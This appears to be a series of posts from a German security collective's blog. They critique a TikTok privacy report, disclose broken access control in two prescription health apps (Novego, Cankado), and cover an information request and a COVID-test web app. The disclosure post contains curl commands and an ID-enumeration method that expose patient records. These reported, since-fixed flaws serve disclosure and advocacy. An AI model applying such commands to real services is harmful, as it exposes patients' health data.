Und bei denen kann nicht allgemein davon ausgegangen werden, dass sie es technisch durchdringen. Stattdessen bleiben die aufgebauschten Behauptungen hängen und beeinflussen Entscheidungen. Sowas führt auch zu solch seltsamen Schritten wie Trumps TikTok-Verbot.

Hier wären auch große Medien wie @derspiegel in der Pflicht, solche Behauptungen kritisch zu überprüfen, statt sie direkt mit einer clickbaity Schlagzeile zu übernehmen.

Natürlich muss man TikTok kritisch sehen! Umso wichtiger sind gute Analysen der Probleme – von Sicherheitslücken über Datenschutzverletztungen bis zum Geschäftsmodell. Denn diese ermöglichen einen gesellschaftlichen Diskurs – irreführende Pseudo-“Analysen” schaden diesem.

Die Autor*innen dieses Reports sind im Übrigen nicht unbekannt: Schon vor 2 Jahren veröffentlichten sie als “Penetrum” einen genauso fragwürdigen Report zu TikTok und auch damals sind schon große Medien darauf angesprungen.

https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok

Transparenzhinweis: Auch wir benutzen TikTok. Folgt uns unter https://tiktok.com/@zerforschung

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Please create good tiktok(-analyse)s

Mon, 18 Jul 2022 14:45:00 +0200

Dieser Artikel ist auch auf deutsch erschienen.

Once again a report about TikTok is going around. We have read it carefully: It’s mostly nonsense. Let’s have a look at the claims one after the other

A shocking new report today outlines just how far TikTok goes to harvest personal data from its users, data that some fear could be used by China for intelligence and cyber hacking. #TheProjectTV pic.twitter.com/cHkR1bwTdK
— The Project (@theprojecttv) July 18, 2022

To promote the report, the analysis company says, among other things: “TIKTOK IS NOT COMPATIBLE WITH OUR APPROACH TO PRIVACY”. Oh really? To get the report, you have to provide your first name, phone number and email address. Exciting “approach to privacy”… 🤔

Download form with request for First Name, Email Address and Phone NumberDownloadformular mit Abfrage von First Name, Email Address und Phone Number

To keep your data protected, you can also read the report in the Internet Archive: https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release #ServiceTweet

User Permissions and Third-Party Data Access

Here they automatically generated a list of all permissions that the TikTok app can get:

List of permissions on Android: read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar

List of permissions on ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library

Two things are important for this:

Most of these permissions have to be explicitly confirmed by the users again. You probably know the “Allow access to contacts?” dialog.
For (almost) all of them it is quite easy to explain why TikTok needs this:

Camera & Audio recording: Well, it’s a video app. Calendar: you can have livestreams added to your calendar Contacts: You can find people from the address book Photo access: You can use pictures from the photo gallery in the videos

The report wrongly says that the app asks for access to contacts in an endless loop if you deny it. This is not true: although the app asks every now and then during use, you can always refuse and continue using the app without any problems.

For other permissions, there is even less evidence: Here, the “analysts” claim with reference to screenshots that these permissions are maliciously exploited. But the screenshots do not show that at all.

Here they just added wild annotations to code snippets - without it being clear if and when this part of the code is ever used. More context would be required to proof that: either a longer argument on the source code, or by showing malicious behavior while the app is running.

Device and user data harvesting

Here the report itself states that the analysis was not accurate enough to prove anything. But of course they still claim it 🤷🙃

To retrieve some of this data, the app would need additional permissions - which it neither has nor wants to get: For IMEI, IMSI, SIM/build serial number and others, you need the permissions “READ_PHONE_STATE” or “READ_PRIVILEGED_PHONE_STATE”.

https://source.android.com/devices/tech/config/device-identifiers

Connections to mainland China

Here the report lacks any depth to be able to judge what this means. From a technical point of view, it is nonsense to try to determine the location of servers based only on an IP address - without insight into the hoster’s infrastructure.

CD-Cover: ‘The three investigators and the mysterious IP’. A green gloing phone with the flag of china, whichs shadow shows the TikTok-Logo

The company to which the IP allegedly belongs offers cloud solutions in general: https://intl.baishancloud.com/ Just with the information about the IP, one cannot conclude where the servers are located, what TikTok uses them for, who actually gets data, etc.

Conclusion

The report lacks technical depth and meaningful information. Most of the output of automatic tools has been regurgitated without question. That does not make an analysis. These tools only provide hints, which places should be looked at more closely.

But it needs again a lot of manual work to analyze and evaluate the found places exactly. For fun, we uploaded a privacy-friendly email app to one of these scanners and had it analyzed. This was the result:

App Security Score: 29/100 (CRITICAL RISK) – Grade: F

It is a problem that reports are published in this form, because the report is not aimed at a technical audience that can see the flaws directly, but at “policy makers and legislators to make evidence-based decisions”.

Screenshot der Executive Summary: ‘This report is for policy makers and legislators to make evidence-based decisions’

And those can’t generally be assumed to get through it technically. Instead, the inflated claims stick and influence decisions. Such things also lead to such strange moves as Trump’s TikTok ban. Big media outlets would be in duty to critically check such claims instead of taking them directly with a clickbaity headline.

Of course we have to criticise TikTok! All the more important are good analyses of the problems - from security gaps to data protection violations to the business model. Because these enable a social discourse - misleading pseudo-“analyses” harm it.

By the way, the authors of this report are not unknown: Already 2 years ago they published an equally questionable report as “Penetrum” and also had big media outlets jumping on it.

https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok

Transparency note: We also use TikTok. Follow us at https://tiktok.com/@zerforschung

If you like what we do and want to support us, you can check out our support page.

Datenabfluss auf Rezept

Thu, 16 Jun 2022 05:00:00 +0200

Impotenz? Gibt’s eine App für!

Depression? Schau dir ein paar Videos an!

Sinnlose Apps, die unfassbar teuer sind? Frag deine Krankenkasse!

Ein Glück, dass wir im 21. Jahrhundert leben und es für jedes Krankheitsbild die passende App gibt. Seit Oktober 2020 gibt’s die auch auf Rezept, die Digitalen Gesundheits-Anwendungen, oder kurz: DiGAs. Vielen Dank dafür an Jens Spahn. *hust*

Seit rund 1,5 Jahren können Unternehmen damit Apps entwickeln, die Ärzt*innen dann ihren Patient*innen verschreiben. Doch wie bei so vielen anderen Vorhaben zeigt sich auch hier einmal wieder: Digitalisierung löst nicht alle Probleme – sie schafft viel mehr ganz neue.

Und da wir einen Text über DiGAs schreiben, könnt ihr euch denken, welche Sorte von Problemen wir meinen: Die wenigen Digitalen Gesundheits-Anwendungen, die wir angeschaut haben, hatten massiven Datenabfluss. Insgesamt haben sie Daten von mehr als 20.000 Patient*innen verloren.

Doch was machen diese DiGAs eigentlich?

Digitale Gesundheits-Anwendungen gibt es aktuell von etwa zwanzig verschiedenen Anbietern für die verschiedensten gesundheitlichen Probleme. Von Depression bis Erektionsstörung, von Tinnitus bis Krebs. Die Inhalte reichen von Tagebüchern zur Rauchentwöhnung über Videos zur Rückenvorsorge bis hin zu Chatberatung mit Ernährungsexpert*innen.

Die von der vorigen Regierung eingeführte Gesetzgebung macht es sehr einfach, solche Apps zu entwickeln. Daher werden es jeden Monat mehr. Das lohnt sich natürlich vor allem für die App-Hersteller. Immerhin bekommen diese für jede Verschreibung ihrer App gutes Geld: etwa 200 bis 700 Euro – pro Quartal.

Wird schon nichts passieren?

Doch was heißt, die Gesetzgebung macht es “sehr einfach” solche Apps zu entwickeln? Im Bereich der DiGA wird größtenteils den Herstellern vertraut: Es gibt zwar eine Checkliste, auf der viele gute Sachen stehen – aber ob die Selbsteinschätzung der Hersteller tatsächlich stimmt, wird nur in Ausnähmefällen kontrolliert.

Weitere Überprüfungen werden erst schrittweise eingeführt. Eine erste seit April 2022, der Rest kommt nächstes Jahr.¹

Doch was ist, wenn die armen kleinen Apps krank sind? Dafür gibt’s Menschen wie uns, die sich das genauer anschauen. Und glaubt uns: Das ist kein schöner Job! Wir hatten in den vergangenen Monaten einiges zu tun. Denn die Genesungsprozesse von verrenkten Apps dauern außergewöhnlich lange. Wir geben exklusive Einblicke in die Diagnoseprotokolle.

Novego – Diagnoseprotokoll

Name:

Novego

Lebensraum:

Zulassung zur Behandlung von Depressionen. Novego behandelt Menschen mit Depression mittels “Methoden der kognitiven Verhaltenstherapie” in Form von Texten, Videos, Audios und interaktiven Übungen.

Diagnose:

Schwerwiegender Datenabfluss von allen bei Novego angemeldeten Nutzer*innen, insgesamt knapp 10.000 Accounts, nach der Registrierung im Webportal

Ausführliche Beschreibung des Krankheitsbilds:

Die DSGVO schreibt vor, dass alle Apps eine Exportfunktion für die persönlichen Daten haben müssen – also auch Digitale Gesundheitsanwendungen. Das steht auch in der DiGA-Richtlinie.

Daran hält sich auch das Exemplar “Novego” und bietet eine Möglichkeit an, die eigenen Daten herunterzuladen. Doch wirklich nur die eigenen? Nein! Natürlich nicht.

Wenn wir unsere eigenen Daten herunterzuladen, ruft die Website den Endpunkt https://www.novego.com/myaccount/participant/data-export/export/21378 auf. Als Antwort bekommen wir dann eine andere URL, von der wir dann nach ein paar Sekunden unser Daten-Archiv abrufen können.

Nun können sich die treuen Leser*innen schon denken, was als nächstes passiert: 21378 ist unsere Nutzer*innen-ID. Also probieren wir, was passiert, wenn man eine etwas kleinere Zahl eingibt. Und richtig: Wir bekommen das Archiv einer anderen Person. Denn die ID ist eine laufende Nummer, die jedes mal um eins hochgezählt wird, wenn ein neuer Account angelegt wird.

Damit sind die IDs wahrlich nicht schwer zu erraten, verschaffen aber Zugang zu höchst kritischen Daten. Denn der Daten-Abruf über die frei zugängliche Schnittstelle enthielt alle Informationen, die über ein*e Nutzer*in bei Novego gespeichert sind, also

E-Mail-Adresse
Username: frei wählbar, aber häufig Vorname und Nachname
Geschlecht
welches “Programm” (wie z.B. Burn-Out, Depression, Angststörung) bei Novego absolviert wird
Ergebnisse eines Self-Assessments: Ergebnis regelmäßiger Abfrage standardisierter psychologischer Fragebögen zum gesundheitlichen Zustand, die darüber Aufschluss geben sollen, ob bzw. wie depressiv ein*e Nutzer*in ist. Hier ein Beispiel-PDF.

Notizen der durchführenden App-Arbeitsmediziner:

Es ist gut und sinnvoll, diese Daten über die eigene Person abrufen zu können. Das hat allerdings auch fatale Folgen für andere Nutzer*innen, weil nur geprüft wird, ob eine Person angemeldet ist, aber nicht als wer.

OWASP10-Kategorie:

A01:2021-Broken Access Control

Preis:

249,00 für 12 Wochen

Cankado – Diagnoseprotokoll 1

Name:

Cankado

Lebensraum:

Zugelassen für Brustkrebs-Patient*innen

Diagnose:

In der App Cankado können Brustkrebs-Patient*innen ihre Beschwerden selbst erfassen und so automatisch Empfehlungen bekommen, wie dringend diese mit Ärzt*innen abgeklärt werden sollten. Äußerst unpraktisch nur, dass sich jede*r als Ärzt*in ausgeben kann – in jeder Klinik – sogar wir.

Und das geht so: Als erstes müssen wir uns als Ärzt*in registrieren. Das geht, indem wir uns auf https://cankado.com/register/doctor über das Anmelde-Formular für Ärzt*innen einen Account anlegen. Das alleine ist kein Problem. Aber das System muss später prüfen, dass wir nur Zugriff auf Datenbereiche haben, für die wir auch berechtigt sind. Es braucht also eine sinnvolle Zugriffskontrolle.

Und auf den ersten Blick hat Cankado das auch vorbildlich getan: Der Server von Cankado stellt verschiedene Schnittstellen bereit, über die die Website mit ihm kommuniziert. Hier gibt es /centers/ für die Behandlungszentren und Krankhäuser, /patients/ für die Patient*innen, /physicians/ für die Ärzt*innen und so weiter. Hier konnten wir auf den ersten Blick nur die Daten abrufen, die auch für uns zugänglich sein sollten.

Aber dabei hat eine Schnittstelle gefehlt: Eine API, um die einzelnen Abteilungen eines centers abzufragen. Also haben wir scharf nachgedacht, wie so eine Schnittstelle heißen könnte. Und was heißt Abteilung auf Englisch? Department!

Wir haben ins Blaue geraten und https://api.cankado.com/departments/ aufgerufen. Und da waren plötzlich nicht mehr nur unsere eigenen Abteilungen – sondern ALLE.

Und als wir analog zu den anderen Endpunkten versucht haben, Daten über die Schnittstelle zu bearbeiten, funktionierte auch das. So konnten wir uns selbst in die Liste der Ärzt*innen, die in einer Abteilung arbeiten, eintragen.

Alles was es dazu brauchte, war die department_id, die wir ja aus der Liste aller Abteilungen kannten, und der Befehl:

curl 'https://api.cankado.com/departments/{department_id}/' \
    -X 'PATCH' \
    -H 'Content-Type: application/json;charset=UTF-8' \
    -H 'authorization: Bearer {BEARER_TOKEN}' \
    --data-raw '{"physicians": ["{USER_ID}"]}'

Sobald man den Ärzt*innen-Status erreicht hat, ist es möglich, alle Daten für die Patient*innen der eigenen Abteilung abzurufen. Dazu gehören:

Name
Adresse
E-Mail-Adresse
Passwort, im Klartext (Das war schon nicht mehr Stand der Technik, als Teile von zerforschung geboren wurden)
Zugangstoken
Diagnose
Tagebuchdaten
Arztberichte
Messdaten
Überweisungen
sowie alle weiteren Daten, die von Ärzt*innen und Patient*innen erfasst wurden.

Insgesamt waren bei Cankado auf diesem Wege 12.500 Datensätze abrufbar – von Brustkrebs-Patient*innen, aber auch von anderen Nutzer*innen des Systems, die darüber zum Beispiel Medikamenten-Studien durchgeführt haben.

Wie kann das sein?

Die Entwickler*innen von Cankado haben die Schnittstelle zum Zugriff auf die Abteilungen wohl im Anfangsstadium der App entwickelt, über die Zeit dann nicht mehr verwendet – und irgendwann schließlich vergessen, diese Schnittstelle abzuschalten. Auch bei Sicherheitsüberprüfungen muss sie übersehen worden sein.

OWASP10-Kategorie:

A01:2021-Broken Access Control

Preis:

ca. 500 Euro für 12 Wochen; Cankado empfiehlt die dauerhafte Nutzung, gerne für 2 Jahre und mehr

Cankado – Diagnoseprotokoll 2

Name:

Name: Cankado (s.o.)

Lebensraum:

s.o.

zuletzt vorstellig:

vor 1 Monat

Diagnose:

Weil Cankado uns so große Sorgen bereitet hat, haben wir uns die App noch etwas weiter angeschaut, und dabei leider gleich noch mehr gefunden.

Normalerweise können Patient*innen ihren Ärzt*innen Einblicke in ihre persönlichen Daten in der App gewähren. Das funktioniert so: Ärzt*innen geben ihren Patient*innen einen Code (“promotion_code”), den diese dann in ihre App eintragen. Sobald das passiert ist, werden die Patient*innen ihren Ärzt*innen zugeordnet und diese können die Daten einsehen. Das funktioniert – natürlich – über einen Aufruf einer Schnittstelle der App.

Technisch funktioniert das dann so: Die App des*r Patient*in ruft https://api.cankado.com/patient/{PATIENT_ID}/extensions/ mit der eigenen Patient*innen-ID auf und übergibt dabei den Code, den die Patient*innen von ihren Ärzt*innen bekommen haben. Die ID ist hier sogar eine UUID4, die wir nicht einfach erraten können.

Doch durch die vorherige ~~Lücke~~ Diagnose kennen wir diese schon.

Und außerdem überprüft der Server mal wieder nicht, ob die Patient*innen-ID auch unsere eigene ist. Stattdessen können wir dort eine beliebige ID angeben und diese*r Patient*in wird dann der*m Ärzt*in zugeordnet.

So können wir jetzt gleichzeitig Patientin und Ärztin spielen: Zuerst generieren wir über den Ärzt*innen-Account einen Zuordnungs-Code. Dann suchen wir uns eine reale Patient*innen-ID, geben uns als diese*r Patient*in aus und lösen den Code ein. Damit ist der echte Patient*innen-Account mit unserem Ärzt*innen-Account verknüpft und wir konnten problemlos auf die Daten “unserer” Patient*innen zugreifen.

curl -H "Authorization: Bearer {TOKEN}" \
    --data-raw '{"promotion_code":"0116d885"}' \
    https://api.cankado.com/patient/{PATIENT_ID}/extensions/

Wie in Diagnoseprotokoll 1 beschrieben wurde, kennen wir ja mittlerweile die ID der Patient*innen – und haben damit auch Zugriff auf all ihre Daten. Neue Informationen über die Betroffenen bekommen wir also nicht. Trotzdem wird auch diese neu entdeckte Lücke ein Problem, sobald wir an die ID von Patient*innen kommen:

Wir können uns zum Beispiel vorstellen, dass ein*e Patient*in entscheidet, Ärzt*innen keinen Zugriff auf die eigenen Daten mehr zu erlauben. Mit dieser Lücke könnten sich die Ärzt*innen jedoch immer wieder Zugriff auf die Daten beschaffen, denn die ID ist ja schon bekannt.

OWASP10-Kategorie:

A01:2021-Broken Access Control

Preis:

Weiterhin ca. 500 Euro für 12 Wochen; Cankado empfiehlt die dauerhafte Nutzung, gerne für 2 Jahre und mehr.

Das darf nicht so bleiben

Wie immer haben wir die Sicherheitslücken schnell und vertraulich an die Hersteller gemeldet. Alle hier beschriebenen Lücken sind nach deren Aussage geschlossen.

Da muss etwas passieren

Es ist erschütternd wie egal Unternehmen die Sicherheit von Patient*innen-Daten zu sein scheint und mit welcher Leichtfertigkeit staatliche Stellen ihnen Zugang zu diesen Daten geben.

Patient*innendatensicherheit ist nicht optional. Nicht etwas, das man noch “nachziehen” kann, nachdem eine App schon ein Jahr lang von Patient*innen benutzt wurde. Wenn eine App marktreif genug ist, um Patient*innen-Daten zu verarbeiten muss sie auch reif genug sein, diese für sich zu behalten. Daher sehen wir momentan keinen anderen Weg, als alle Apps, die noch keine ausreichenden Sicherheitsvorkehrungen implementiert haben, vorerst vom Markt zu nehmen.

Appanbieter*innen sind auch heute bereits dazu verpflichtet, ihre Apps nach dem Stand der Technik umzusetzen. Aus unserer Sicht bedeutet das konkret: Die Anwendungen dürfen die Daten der Nutzer*innen nicht mit anderen teilen, sondern diese soweit irgendwie möglich nur auf deren Endgeräten verarbeiten. Und wenn doch Kommunikation nötig ist, zum Beispiel zwischen Patient*innen und Ärzt*innen, dann muss diese Ende-zu-Ende verschlüsselt sein.

Denn Ende-zu-Ende-Verschlüsselung ist heute schon der Standard in Messengern – von WhatsApp bis Signal. Somit ist aktuell die Familien-Chatgruppe besser geschützt als die Kommunikation zwischen Ärzt*innen und Patient*innen über diese Apps.

Um hier jeglichen Interpretationspielraum auszuschließen, der Patient*innen-Daten gefährden könnte, muss dies zwingende Anforderung für alle DiGA sein. Doch nur weitere Punkte in eine Checkliste aufzunehmen reicht nicht aus!

Denn die Erfüllung dieser Checklisten muss auch überprüft und sanktioniert werden – und zwar jetzt! Und nicht irgendwann 2023, vielleicht.

Daher muss das DiGA-Fast-Track-Programm in seiner jetzigen Form eingestellt werden. Dieses ermöglicht Apphersteller*innen heute eine App ohne hinreichende Sicherheits- oder Wirksamkeitsprüfung auf den Markt zu bringen. Ein Vorgehen das man sich in anderen Lebensbereichen garnicht vorstellen könnte. Wenn man ein Medikament vom Arzt verschrieben bekommt oder ein Auto kauft, erwartet man ja schließlich auch, dass dieses sicher ist und diese Sicherheit auch überprüft wird.

Statt dass das BfArM als zuständige Regulierungsbehörde hier genau hinschaut, wird aktuell in die Eigenverantwortung der Hersteller vertraut. Was dann passiert, habt ihr gerade gelesen.

Apps alleine machen auch nicht glücklich gesund

Außerdem schließen wir uns der Forderung verschiedener Ärzt*innen- und Patient*innenverbände an, das nur Apps mit einem nachgewiesenen Nutzen von Krankenversicherungen bezahlt werden sollten. Denn wenn man schon Patient*innendaten in die Hand einer App gibt, dann sollte das wenigstens einen Versorgungsnutzen haben.

Die gute Nachricht ist: Das Bundesamt für Sicherheit in der Informationstechnologie arbeitet gerade an neuen Sicherheitsstandards für DiGAs und wir hoffen, dass unsere Forderungen darin aufgenommen werden. Und zukünftig Unternehmen bei Verstößen gegen diese Regelungen konsequent sanktioniert werden.

In einigen Bereichen sind die Regulierungen allerdings auch schon sehr gut. So können Apps bei Datenabflüssen von dem Bundesinistitut für Arzneimittel und Medizinprodukte ausgeschlossen oder mit Strafen belegt werden. Und Datenminimierung ist auch heute bereits eine Vorgabe in den Richtlinien. Allerdings werden diese Regeln noch nicht ausreichend durchgesetzt und es wirkt geradezu so, als gehören Datenabflüsse für die BfArM zum Alltagsgeschäft. Ohne jede Folge für die betroffenen Apphersteller*innen.

Wir hoffen außerdem, dass Gesundheitsminister Lauterbach sich um die Versäumnisse seines Vorgängers kümmert und Digitale Gesundheitsapps sinnvoller reguliert und auch den Vollzug dieser Regelungen aktiv unterstützt. Denn die Digitalisierung des Gesundheitssektors kann viele Chancen bieten. Es ist aber gefährlich, sich das Vertrauen der Bürger*innen in die Digitale Gesundheitsversorgung durch mangelnde Sicherheitsstandards und Durchsetzung dieser zu verspielen.

Falls euch dieser Artikel gefallen hat, könnt ihr uns gerne unterstützen.

Ab dem 1. April 2022 muss der Nachweis eines “Informationssicherheitsmanagementsystem (ISMS) gemäß ISO 27001 oder gemäß ISO 27001 auf der Basis von IT-Grundschutz (BSI-Standard 200-2: IT-Grundschutz-Methodik)” vorgelegt werden. Weitere Vorgaben kommen dann erst nächstes Jahr: Ab dem 1. Januar 2023 muss durch ein Zertifikat vom BSI nachgewiesen werden, dass die Anforderungen an die Datensicherheit erfüllt werden. Ab dem 1. April 2023 dann auch, dass die Anforderungen an den Datenschutz erfüllt werden. https://www.gesetze-im-internet.de/digav/__7.html ↩︎

Hier gibts keine Akten. Keine Schilder gibts nebenan

Wed, 04 May 2022 18:00:00 +0200

Heute reden die Verkehrsminister*innen u.a. über Tempolimits – ein heiß umkämpftes Thema, gegen das sich Volker Wissing schon lange wehrt. Zuletzt behauptete er, es gäbe nicht genug Verkehrsschilder 🤪 Doch was weiß das Bundesministerium für Digitales und Verkehr? 🧵

Wenn sich Wissing die fehlenden Schilder nicht nur ausgedacht hat, müsste es ja Dokumente dazu geben. Also haben wir beim Ministerium nachgefragt, was dazu bekannt ist.

Heute kam dann die Antwort:

Im Ministerium weiß man nichts von Schildern, die zur Einführung eines Tempolimits fehlen. Keine Tempolimitschilder, keine Akten und nicht mal einen Andreas Scheuer, auf den man es schieben könnte… Was für Zustände 🤪

Diese Antwort bekamen wir durch das Informationsfreiheitsgesetz. Solche Anfragen zu stellen ist dank FragDenStaat (😍) für alle einfacher. Daher freuen sich nicht nur wir, sondern auch FragDenStaat sehr über eure Unterstützung: https://fragdenstaat.de/spenden/

Disclaimer: Teile von zerforschung arbeiten bei / mit FragDenStaat. 🤝

Danke für die Blumen, aber wir brauchen staatliche IT-Kompetenz

Fri, 21 Jan 2022 18:45:00 +0100

Wir freuen uns sehr über das große Interesse, das schnelltesttest.de hervorgerufen hat. Trotzdem wollen wir nochmal betonen: Wir sind nur eine Gruppe von ehrenamtlichen Menschen.

Wir haben ein Problem gesehen und dafür eine Lösung gebaut. Für uns ist klar: Dass wir überhaupt eine Web-App bauen können, ist schon ein Privileg. Deshalb war es uns wichtig, den Quellcode von schnelltesttest.de für alle zugänglich zu machen und auch die Web-App für alle zu öffnen.

Nur ein Anfang

Trotzdem dürfen solche Tools nicht davon abhängen, ob wir gerade Zeit haben oder nicht. Im Jahr 2022 muss Digitalisierung als ein Teil der öffentlichen Daseinsvorsorge gedacht werden – erst recht, wenn es um die Bekämpfung einer seit 2 Jahren andauernden, globalen Pandemie geht.

Deshalb finden wir schon ein wenig komisch: schnelltesttest wurde zwar mehrfach von öffentlichen Stellen empfohlen, allerdings hat sich bisher noch keine staatliche Institution bei uns gemeldet, um die Web-App und den damit verbundenen Betreuungsaufwand¹ langfristig zu übernehmen.

Das ist schade, denn auf Dauer können wir uns neben Studium, Job und anderen Ehrenämtern nicht darum kümmern. Und nein: Auch uns mit Geld zu bewerfen ist hier keine Lösung – wir finden, dass staatliche Stellen in der Lage sein müssen, solche Web-Apps selbst zu bauen, zu betreiben und zu betreuen.

Projekte wie kleineanfragen.de haben gezeigt, dass es in der digitalen Zivilgesellschaft immer wieder gute Ideen gibt. Diese Ideen verschwinden allerdings, wenn sich keine staatlichen Stellen finden, die diese Projekte übernehmen können.

Mehr Kompetenz in der Verwaltung

Es braucht also einen echten Kompetenzaufbau in der Verwaltung, damit solche Angebote dort direkt selbst entstehen können – oder wenigstens schnell übernommen werden. Und nein: Auch hier ist die finanzielle Ausstattung nur ein Teil des Problems. Dass IT-Expert*innen dort ungerne arbeiten, liegt auch an den ausbremsenden Strukturen.

Im konkreten Kontext der Corona-Pandemie gibt es allerdings sogar externe Dienstleister, die diese Arbeit übernehmen könnten: Im Software-Projekt der Corona-Warn-App gibt es bereits Vorschläge, eine Funktion wie schnelltesttest in die Corona-Warn-App zu integrieren. Hier liegt der Ball jetzt bei SAP, T-Systems und dem Bundesgesundheitsministerium.

Das Dilemma mit den Daten

Ein anderes Problem sind (mal wieder) die Daten und die Zugänglichkeit: Das Paul-Ehrlich-Institut erfüllt mit der Evaluation der Schnelltests eine super wichtige Aufgabe, jedoch müssen die Ergebnisse auch zugänglich sein – ein nicht barrierefreies PDF ist nicht genug.

Maschinenlesbare Offene Daten müssen in solchen Fällen also der Standard sein und nicht die Ausnahme. Nur so können Projekte wie schnelltesttest schneller umgesetzt werden und sparen doppelte Arbeit.

Danke!

Auch wenn wir enttäuscht sind von staatlicher Infrastruktur, die auch in diesem Bereich nicht ausreichend entwickelt ist – wir sind auch sehr glücklich, dass uns so viele Menschen geholfen haben, schnelltesttest erst überhaupt möglich und dann immer besser zu machen.

Wir sind super dankbar, dass uns mittlerweile 5000 Menschen Fotos von ihren Tests gesendet und einige Menschen uns sogar auf GitHub geholfen haben, die Seite zu verbessern. Außerdem wollen wir uns bei unserem Hoster Uberspace für die enorme Menge des verursachten Traffics entschuldigen und sind dankbar, dass sie erneut einem zivilgesellschaftlich-relevanten Projekt ermöglichen zu existieren.

Allein in den ersten 48h haben wir mehr als 4800 E-Mails bearbeitet ↩︎

zerforschung präsentiert: schnelltesttest.de

Thu, 20 Jan 2022 05:45:00 +0100

⚠️ schnelltesttest.de wird nicht mehr aktualisiert. ⚠️ Mehr Informationen…

Schnelltests sind wichtig zur Pandemiebekämpfung – aber nicht alle sind gleich gut. Zwar geben die verschiedenen Hersteller an, dass ihre Tests weit über 80% der Infizierten erkennen, oft sogar 100%. Wie zuverlässig aber die einzelnen Tests tatsächlich sind, überprüft unabhängig das Paul-Ehrlich-Institut (PEI)¹: Die ermitteln die Sensitivität der Tests, also wie viele der positiven Abstriche auch als positiv erkannt werden und veröffentlichen die Ergebnisse auf ihrer Website.

Wir machen diese Daten nun auch unterwegs vom Smartphone aus einfacher durchsuchbar: mit schnelltesttest.de.

Warum machen wir das?

Als wir unseren rc3-Vortrag vorbereitet und gedreht haben, haben wir uns täglich getestet und dafür auch neue Corona-Selbsttests gekauft. Erst nach dem Einkauf haben wir in der Liste des PEI nachgesehen, wie gut diese Tests eine Infektion nachweisen können. Wir waren etwas erschrocken, als wir feststellten, dass der von uns gekaufte Test nur 6% aller positiven Proben erkannte und selbst bei hoher Viruslast nur etwa 17%. Hätten wir das schon im Laden gewusst, dann hätten wir uns für einen anderen Test entschieden.

Deshalb haben wir überlegt, wie wir beim nächsten Einkauf schneller herausfinden können, welche Sensitivität das PEI für den Test ermittelt hat, den wir im Laden finden. Bisher mussten wir uns dafür durch lange Tabellen auf nicht mobil-geeigneten Webseiten quälen. Unsere Idee: Am einfachsten wäre es, den Barcode auf der Verpackung des Tests scannen zu können und direkt angezeigt zu bekommen, wie gut der Test laut Paul-Ehrlich-Institut wirklich ist.

Vom Barcode zum PEI-Abgleich

Gesagt – getan. Wir haben eine kleine Web-App gebaut, mit der wir jetzt einfach die Barcodes auf der Packung des Tests scannen können und direkt angezeigt bekommen, wie gut oder schlecht der Test eine Corona-Infektion erkennen kann.

Naja, und weil wir große Freund*innen von freier Software und geteiltem Wissen sind, war für uns auch klar, dass auch andere die Software nutzen und verbessern können sollten. Deshalb ist der Quellcode jetzt auf GitHub und die Web-App findet ihr unter:

schnelltesttest.de

Barcode-Sammelalbum

Aber dabei gibt’s ein kleines Problem: Jeder Test kann viele verschiedene Barcodes haben – die 1er-Packung, die 10er-Packung, die Version mit dem Logo des einen Supermarktes, etc etc. Wir haben schon versucht, möglichst viele Barcodes der vom PEI untersuchten Tests zu sammeln – aber noch nicht alle. Damit unsere Web-App besser wird, könnt ihr uns helfen: Schreibt uns, wenn ihr einen Test in der Hand habt, der von der App noch nicht erkannt wird. Wir brauchen den Namen, ein Foto vom Barcode und ein Foto vom Test, damit unsere App den Barcode dann erkennen kann.

Achtung: Handarbeit

Da wir das alles händisch zusammensuchen mussten und die Tests teilweise sehr ähnliche Namen haben oder die gleichen Firmen unterschiedliche Tests mit fast identischen Namen anbieten, kann es zudem sein, dass sich kleine Fehler eingeschlichen haben. Falls euch so ein Fehler auffällt, schreibt uns am besten eine Mail mit dem Barcode und dem Test, gern auch mit einem Foto zur Verifikation.

Update 1: “Danke für die Blumen, aber wir brauchen staatliche IT-Kompetenz”

Ein paar weitere Gedanken zu diesem Projekt haben wir in einem extra Blogpost aufgeschrieben.

Update 2: Time to say goodbye

Schnelltesttest ist nicht möglich ohne die Daten des Paul-Ehrlich-Institus (PEI), welches die meisten auf dem Markt verfügbaren Schnelltests unabhängig überprüft hat. Leider wird die vom PEI bereitgestellte Tabelle mit diesen Daten seit dem dem 30.05.2022 nicht mehr aktualisiert.

Stattdessen wird auf eine Liste der EU verwiesen, die Daten wie die des PEI aus allen EU-Ländern zusammenfasst. Die EU-Liste enthält zwar Informationen über unabhängige Evaluierungen der Tests, allerdings reichen die für schnelltesttest leider nicht aus:

Zum einen sind die Daten nicht vergleichbar, wenn unterschiedliche Länder bzw. Behörden die Tests evaluiert haben. Zum anderen sind die Daten in Fließtexten versteckt und somit nicht ohne hohen Aufwand maschinell auslesbar. Mal wieder. Dabei will die EU eigentlich alle Daten nutzbar veröffentlichen und nicht in einem versteckten PDF, das niemand liest. Außerdem sind die Daten viel weniger genau als die, die das PEI bereitgestellt hat.

Natürlich sind die Werte aus der Liste des PEI weiterhin gültig – allerdings nur, bis die Hersteller ihre Tests verändern oder es neue Covid-Varianten gibt. Um schnelltesttest.de zuverlässig zu halten, bräuchten wir auch zuverlässig getestete Anpassungen.

Wie geht es weiter?

Das heißt nicht, dass die Pandemie vorbei ist – also testet euch bitte weiter.

Die letzte Aktualisierung der PEI-Daten vom 30.05.2022 haben wir bereits nach der Veröffentlichung in die Webapp integriert. Die Seite wird auf diesem Stand erhalten bleiben. Entsprechende Hinweise mit Link auf dieses Update gibt es natürlich auch auf schnelltesttest.de.

Wir werden keine neuen Barcodes mehr integrieren und das Spezialpostfach “schnelltest [at] zerforschung.org” bald abschalten sowie alle erhaltenen E-Mails löschen. Danke für die mehr als 9.000 Emails! 🥵 😅

Den Quellcode der Seite findet ihr auf GitHub und die Web-App unter: schnelltesttest.de.

Falls euch dieser Artikel oder schnelltesttest.de gefällt, könnt ihr uns gerne unterstützen.

Mehr zur Methodik: https://www.pei.de/SharedDocs/Downloads/DE/newsroom/dossiers/evaluierung-sensitivitaet-sars-cov-2-antigentests.pdf?__blob=publicationFile ↩︎

